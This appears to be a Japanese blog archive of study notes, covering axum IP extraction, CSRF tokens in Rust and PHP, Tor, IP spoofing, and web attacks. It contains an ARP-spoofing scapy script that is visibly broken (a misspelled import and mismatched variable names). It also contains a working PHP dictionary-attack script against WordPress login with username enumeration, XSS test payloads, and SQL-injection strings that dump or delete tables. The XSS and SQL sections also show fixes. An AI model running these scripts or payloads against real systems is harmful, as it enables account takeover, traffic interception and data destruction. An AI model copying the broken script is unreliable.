【Rust】AxumでClientのIPアドレスを取得する

axumにextractでIPを取得できる機能が既にある。
https://docs.rs/axum/latest/axum/struct.Router.html#method.into_make_service_with_connect_info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use axum::{
    extract::ConnectInfo,
};
 
//
    axum::serve(listener, app.into_make_service_with_connect_info::<SocketAddr>()).await.unwrap();
 
//
 
async fn handle_index(ConnectInfo(addr): ConnectInfo<SocketAddr>, token: CsrfToken) -> impl IntoResponse {
 
    println!("{}", addr);
    //
}

Finished `dev` profile [unoptimized + debuginfo] target(s) in 3.74s
Running `target/debug/axum`
192.168.33.1:53688

なるほど、取得できるのね^^ これは大きい!

【Rust】axumでcsrfを使いたい(axum_csrf)

axum_csrf = “0.11.0”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
use axum_csrf::{CsrfConfig, CsrfToken};
 
#[derive(Serialize, Deserialize)]
struct LoginForm {
    username: String,
    password: String,
    authenticity_token: String,
}
 
#[tokio::main]
async fn main() {
 
    // tracing_subscriber::fmt::init();
    let config = CsrfConfig::default();
 
    let serve_dir = ServeDir::new("static").not_found_service(ServeFile::new("static"));
 
    let app = Router::new()
        .route("/", get(handle_index))
        .route("/login", post(handle_login))
        .route("/home", get(handle_home))
        .route("/upload", post(handle_upload))
        .layer(DefaultBodyLimit::max(1024 * 1024 * 1024))
        .nest_service("/static", serve_dir.clone())
        .fallback_service(serve_dir)
        .with_state(config);
 
    let listener = tokio::net::TcpListener::bind("0.0.0.0:3000").await.unwrap();
    axum::serve(listener, app).await.unwrap();
}
 
async fn handle_index(token: CsrfToken) -> impl IntoResponse {
 
    let keys = token.authenticity_token().unwrap();
 
    let tera = tera::Tera::new("templates/*").unwrap();
 
    let mut context = tera::Context::new();
    context.insert("title", "Index page");
    context.insert("Keys", &keys);
 
    let output = tera.render("test.html", &context);
    (token, axum::response::Html(output.unwrap()))
}
 
async fn handle_login(token: CsrfToken, axum::Form(loginform): axum::Form<LoginForm>)-> axum::response::Html<String> {
    if token.verify(&loginform.authenticity_token).is_err() {
        println!("Token is invalid");
    } else {
        println!("Token is Valid lets do stuff!");
    }
    let username = loginform.username;
    let password = loginform.password;
    let authenticity_token = loginform.authenticity_token;
    println!("username:{}, password:{}, authenticity_token: {}", username, password, authenticity_token);
  
}
1
2
3
4
5
6
7
8
9
<form method="post" action="/login">
    <input type="hidden" name="authenticity_token" value="{{ Keys }}"/>
    <div class="mb-3 mt-3">
    <input type="text" class="form-control" placeholder="user name" name="username"/>
      </div>
    <input type="password" class="form-control" placeholder="password" name="password">
    <span class="fs-s">If you don't have account, you can <a href="/signup">Sign up</a>.</span><br/>
    <input type="submit" class="btn submit" value="login" />
 </form>

Finished `dev` profile [unoptimized + debuginfo] target(s) in 3.90s
Running `target/debug/axum`
Token is Valid lets do stuff!
username:asdfggggg, password:asdfggggg, authenticity_token: QnDhKw70YahSelDPpBxJHzgdlXvhFCe2ZKOv+wH82zo=

おおおおおおおおおおおおお、なるほどこれは凄い!!!!
sessionにsession_tokenをセットするロジックを書く方法もありますが、これの方が楽ですね。

【PHP】CSRFの仕組み

セッションの値と比較して検証しているのね。理解できました。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
 
session_start();
 
$toke_byte = openssl_random_pseudo_bytes(16);
$csrf_token = bin2hex($toke_byte);
 
$_SESSION['csrf_token'] = $csrf_token;
?>
 
<!DOCTYPE html>
<html>
<body>
    <form action="contact.php" method="POST">
        <div>
            <label for="name">お名前:</label>
            <input type="text" id="name" name="name" />
        </div>
        <div>
            <label for="email">メールアドレス:</label>
            <input type="email" id="email" name="email" />
        </div>
        <div>
            <label for="message">お問い合わせ本文</label>
            <textarea id="message" name="message"></textarea>
        </div>
        <input type="hidden" name="csrf_token" value="<?php echo $csrf_token; ?>" />
        <button type="submit">送信</button>
    </form>
</body>
</html>
1
2
3
4
5
6
7
8
session_start();
// ワンタイムトークンの一致を確認
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
  // トークンが一致しなかった場合
  die('お問い合わせの送信に失敗しました');
} else {
    echo('認証に成功しました。');
}

マルウェアの仕組み

1. プログラムでディスクの空き容量、OSバージョン、kernel、OSの脆弱性などを取得する
2. サーバの実行ユーザ、実行グループを取得(重要)
3. 実行ユーザがアクセスできるディレクトリであれば、どのようなファイルか調べることができる
4. Apache, curl, DB, /etc/passwd, /etc/shadow、OSバージョン、特定コマンドの有無なども調べる
5. 任意のコードを実行できる。同様にファイル・ディレクトリの作成削除もできる
※eval()でphpコードとして評価してif文を実行

Tor

IPを隠すことは違法ではないが、エジプト、中国、イラクなどでは禁止されている

Torプロジェクト
https://www.torproject.org/download/

Torブラウザから接続する。すると複数の国を経由してアクセスされていることがわかる
ただし、接続がタイムアウト、利用できないなどが頻発する
Firefoxをベースに開発されている

=> 掲示板でIPアドレスから身元を判断しようとしても、Torや匿名VPNを使用した場合は、特定が難しい

ip偽装の方法

IP偽装の仕組み: パケットヘッダー(IPヘッダー)の送信元アドレスを変更する

### VPNソフトによる偽装
1)iTopVPN
暗号化プロトコル、暗号化通信、地域制限回避などのVPNソフト

2)Hotspot Shield
6億人ユーザがいると言われている。無料版ではUSサーバのみ利用でき、通信速度は2MB

3)hide.me
30日間だけ無料

4)Proton VPN

5)TunnelBear

### ブラウザChrome, firefox, OperaでIPアドレスを偽装する
6)Betternet Unlimited Free VPN Proxy
7)anonymoX
8)OperaVPN

###IPスプーフィングの種類
1. 分散型サービス拒否(DDoS)攻撃
L 大量のデータパケット送信によりコンピュータサーバに負荷をかける

2. ボットネットデバイスマスキング
L 単一ソースからマスキングすることで、大量のコンピュータへ攻撃を仕掛ける

3. 中間者攻撃
L 2台のコンピュータ間の通信を中断してパケットを変更し、知らないうちに送信して攻撃する

IPスプーフィング攻撃はネットワーク層で実行されるため、改竄の痕跡を見つけることが困難
=> パケットフィルタリング、変則的なアクティビティ監視、認証方法の強力化、IPv4からIPv6への移行など包括的な対策が必要

ハッカーは3ウェイハンドシェイクの前、SYN-ACKメッセージを送信する前に3ウェイハンドシェイクを妨害する。
自分のデイバイスアドレスと送信者のなりすましIPアドレスを含む偽の確認メッセージを送信する
信頼できるIPからの接続のみを許可しているシステムにも当てはまる。そのため、信頼したIP自体も管理しないといけない
DDoS攻撃ではボットネットに感染したデバイスによって行われることが多い

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#coding:utf-8
from scapy.all immport *
import time
import sys
 
conf.verb = 0
gateway_ip = sys.argv[1]
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
 
def main():
    try:
        print "[*] Start ARPspoofing..."
        position_target(target_ip, target_mac, gateway_ip, gateway_mac)
    except KeyboardInterrupt:
        pass
    finally:
        time.sleep(2)
        restore_table(gateway_ip, gateway_mac, target_ip, target_mac)
        sys.exit(0)
 
def position_target(target_ip, target_mac, gateway_ip, gateway_mac):
    positioning_target = Ether(dst=target_mac)/ARP()
    positioning_target.op = 2
    positioning_target.psrc = gateway_ip
    positioning_target.pdst = target_ip
 
    poisoning_gateway = Ether(dst=gateway_mac)/ARP()
    poisoning_gateway.op = 2
    poisoning_gateway.psrc = target_ip
    poisoning_gateway.pdst = gateway_ip
 
    while True:
        sendp(poisoning_target)
        sendp(poisoning_gateway)
        time.sleep(5)
    print "[*] Finished."
    return
 
def restore_table(gateway_ip, gateway_mac, target_ip, target_mac):
    print "[*] Restoring target."
    send(ARP(op=1, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip, hwdst=target_mac), count=3)
 
if __name__=="__main__":
    main()

MACアドレスとはネットワークに接続する全ての機器に割り当てられる固有の識別番号
A1:A2:A3:00:00:01
48ビット(6バイト)で構成され、前半6桁はベンダーコード
後半の6桁は所属ネットワーク機器の型番や詳細(ユニーク)

IPアドレスはインターネットプロトコルにおける通信相手先を識別するための番号

同じセグメントだけであればMACアドレスだけで良いがセグメントが異なる場合にはIPアドレスが必要
MACアドレスは送信する際のルータなどを記述する

IPヘッダ

WordPressへの辞書攻撃

WordPressのURLに?author=1をつけると、ユーザID1のユーザ名を取得できる
http://example.com/?author=1
http://example.com/author/admin

ログイン画面
http://example.com/wp-login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$time = microtime(true);
 
const TARGET_URL = 'http://example.com/wp-login.php';
const USER_AGENT = 'Mozilla/5.0';
const DICTIONARY = 'password';
const TIMEOUT = 30;
 
$log = 'admin';
$hit_flag = false;
 
try {
    $mh = curl_multi_init();
    $pwds = file(DICTIONARY, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $meta = stream_get_meta_data($fp = tmpfile());
 
    foreach($pwds as $pwd) {
        $ch = curl_init();
        $chs[] = $ch;
        curl_setopt_array($ch, [
            CURLOPT_URL => TARGET_URL,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query(['log'=> $log, 'pwd' => $pwd]),
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_RETURNTRANSFER => false,
            CURLOPT_COOKIEJAR => $meta['uri'],
            CURLOPT_COOKIEFILE => $meta['uri'],
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => USER_AGENT,
            CURLOPT_ENCODING => 'gzip',
            CURLOPT_TIMEOUT => TIMEOUT,
            CURLOPT_CONNECTTIMEOUT => TIMEOUT
        ]);
        curl_multi_add_handle($mh, $ch);
    }
 
    do {
        curl_multi_exec($mh, $active);
        curl_multi_select($mh);
    } while ($active > CURLM_OK);
 
    foreach($chs as $idx => $ch) {
        if (curl_getinfo($ch, CURLINFO_EFFECTIVE_URL) !== TARGET_URL){
            $hit_flag = true;
            echo "The password is \"{$pwds[$idx]}\".\n";
        }
        curl_multi_remove_handle($mh, $ch);
        curl_close($ch);
    }
    curl_multi_close($mh);
} catch (exception $e) {
    echo $e->getMessage();
}
 
if (!$hit_flag) echo "Did not hit.\n";
$time = microtime(true) - $time;
echo "It took ${time} seconds.\n";

ハッキングの種類

### Webサイト改竄
Webサイトを勝手に書き換える
L SQLインジェクション、XSS、CSRF、ゼロデイ攻撃(サーバ・OSの脆弱性を突いた攻撃)
  L 管理者アカウントの乗っ取り(情報窃取)

サーバの停止
 L サーバの脆弱性を突いてサーバの内部に侵入し、直接サーバを停止
 L 外部からサーバに攻撃を仕掛けて高い負荷をかけることでサーバを停止に追い込む

情報の盗み出し
 L サーバの脆弱性を突いて侵入して重要な情報を盗み出す

別の攻撃の踏み台にされる
 L スクリプトを書き換えると、他者への攻撃の踏み台にされる
 L マルウェアに感染させられることがある

### ハッキングで用いられる主な手口
ゼロディ攻撃
  L 新たに発見された脆弱性が公表される前、あるいは修正プログラムの提供前に行われるサイバー攻撃

辞書攻撃
  L 端末への侵入に必要なID、パスワードなどを推測する手口。意味意味ある単語をリスト化したものを用いて、順番に照合していく

総当たり攻撃(ブルートフォース攻撃)
 L 考えられる全てのパターンを総当たりで試す手口

ショルダーハッキング
L 背後からの覗き見・盗み見のこと

XSS(クロスサイトスクリプション)とは

xssとは、攻撃者が送り込んだ悪意のコードをそのページを閲覧した不特定多数のユーザに、スクリプト(簡易的プログラム)として実行させる可能性があることを指す
別のWebサイトにユーザを誘導することがクロスサイトの由来となっている

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="ja">
 <head>
   <script type="text/javascript">
       document.cookie = "test=HelloWorld";
   </script>
   <meta charset="utf-8">
   <title>XSSテスト-入力画面-</title>
</head>
<body>
  <h1>入力画面</h1>
    <form action="confirm.php" method="post">
        <label for="username">Name:</label>
        <input type="text" style="width:290px;" name="name"><br/><br/>
        <input type="submit" value="確認">
    </form>
</body>
</html>

confirm.php

1
2
$name = $_POST['name'];
echo $name;

テスト文字コード

1
2
3
'';!--"<XSS>=&{()}``\"
<script>alert(1);</script>
"><script>alert(1);</script>

### 対策後

1
2
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");
echo $name;

フレームワークによってエスケープ方法は異なる

SQLインジェクション

SQL Injectionはセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることによりデータベースシステムを不正に操作する攻撃方法

$ mysql -u root -p
mysql> show databases;
mysql> use test
CREATE TABLE users (
id int NOT NULL AUTO_INCREMENT,
name varchar(10),
PRIMARY KEY (id)
);

mysql> INSERT INTO users(name) VALUES
(‘フグ田サザエ’),
(‘フグ田マスオ’),
(‘磯野波平’),
(‘磯野フネ’),
(‘磯野カツオ’),
(‘磯野ワカメ’),
(‘フグ田タラオ’),
(‘タマ’)
;
mysql> select * from users;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$dsn = "mysql:dbname=test;host=localhost";
$user = "hoge";
$password = "fuga";
 
try {
    $records = [];
    $id = 1;
 
    $pdo = new PDO(
        $dsn, $user, $password
    );
    $prepare = $pdo->prepare('SELECT * FROM users WHERE id = '.$id.';');
    $prepare->execute();
    $records = $prepare->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
    echo $e->getMessage();
}
 
var_dump($records);

$ php index.php
array(1) {
[0]=>
array(2) {
[“id”]=>
string(1) “1”
[“name”]=>
string(18) “フグ田サザエ”
}
}

ここで、”0 OR TRUE; –“とすると、全件表示される

1
2
3
4
5
6
7
8
9
$records = [];
$id = '0 OR TRUE; --';
 
$pdo = new PDO(
    $dsn, $user, $password
);
$prepare = $pdo->prepare('SELECT * FROM users WHERE id = '.$id.';');
$prepare->execute();
$records = $prepare->fetchAll(PDO::FETCH_ASSOC);

テーブル名がわかった場合は、”0 OR TRUE; DELETE FROM users; –“でテーブルのレコードが全て削除されてしまう

1
2
3
4
5
6
7
8
9
$records = [];
$id = '0 OR TRUE; DELETE FROM users; --';
 
$pdo = new PDO(
    $dsn, $user, $password
);
$prepare = $pdo->prepare('SELECT * FROM users WHERE id = '.$id.';');
$prepare->execute();
$records = $prepare->fetchAll(PDO::FETCH_ASSOC);

mysql> select * from users;
Empty set (0.00 sec)

### 対策
PDOの場合はクエリ実行前にbindValueでバインドする

1
2
3
$prepare = $pdo->prepare('SELECT * FROM users WHERE id = :id;');
$prepare->bindValue(':id', $id, PDO::PARAM_INT);
$prepare->execute();

mysql> select * from users;
+—-+——————–+
| id | name |
+—-+——————–+
| 9 | フグ田サザエ |
| 10 | フグ田マスオ |
| 11 | 磯野波平 |
| 12 | 磯野フネ |
| 13 | 磯野カツオ |
| 14 | 磯野ワカメ |
| 15 | フグ田タラオ |
| 16 | タマ |
+—-+——————–+
8 rows in set (0.00 sec)

“0 OR TRUE; –“でテストするのが良さそう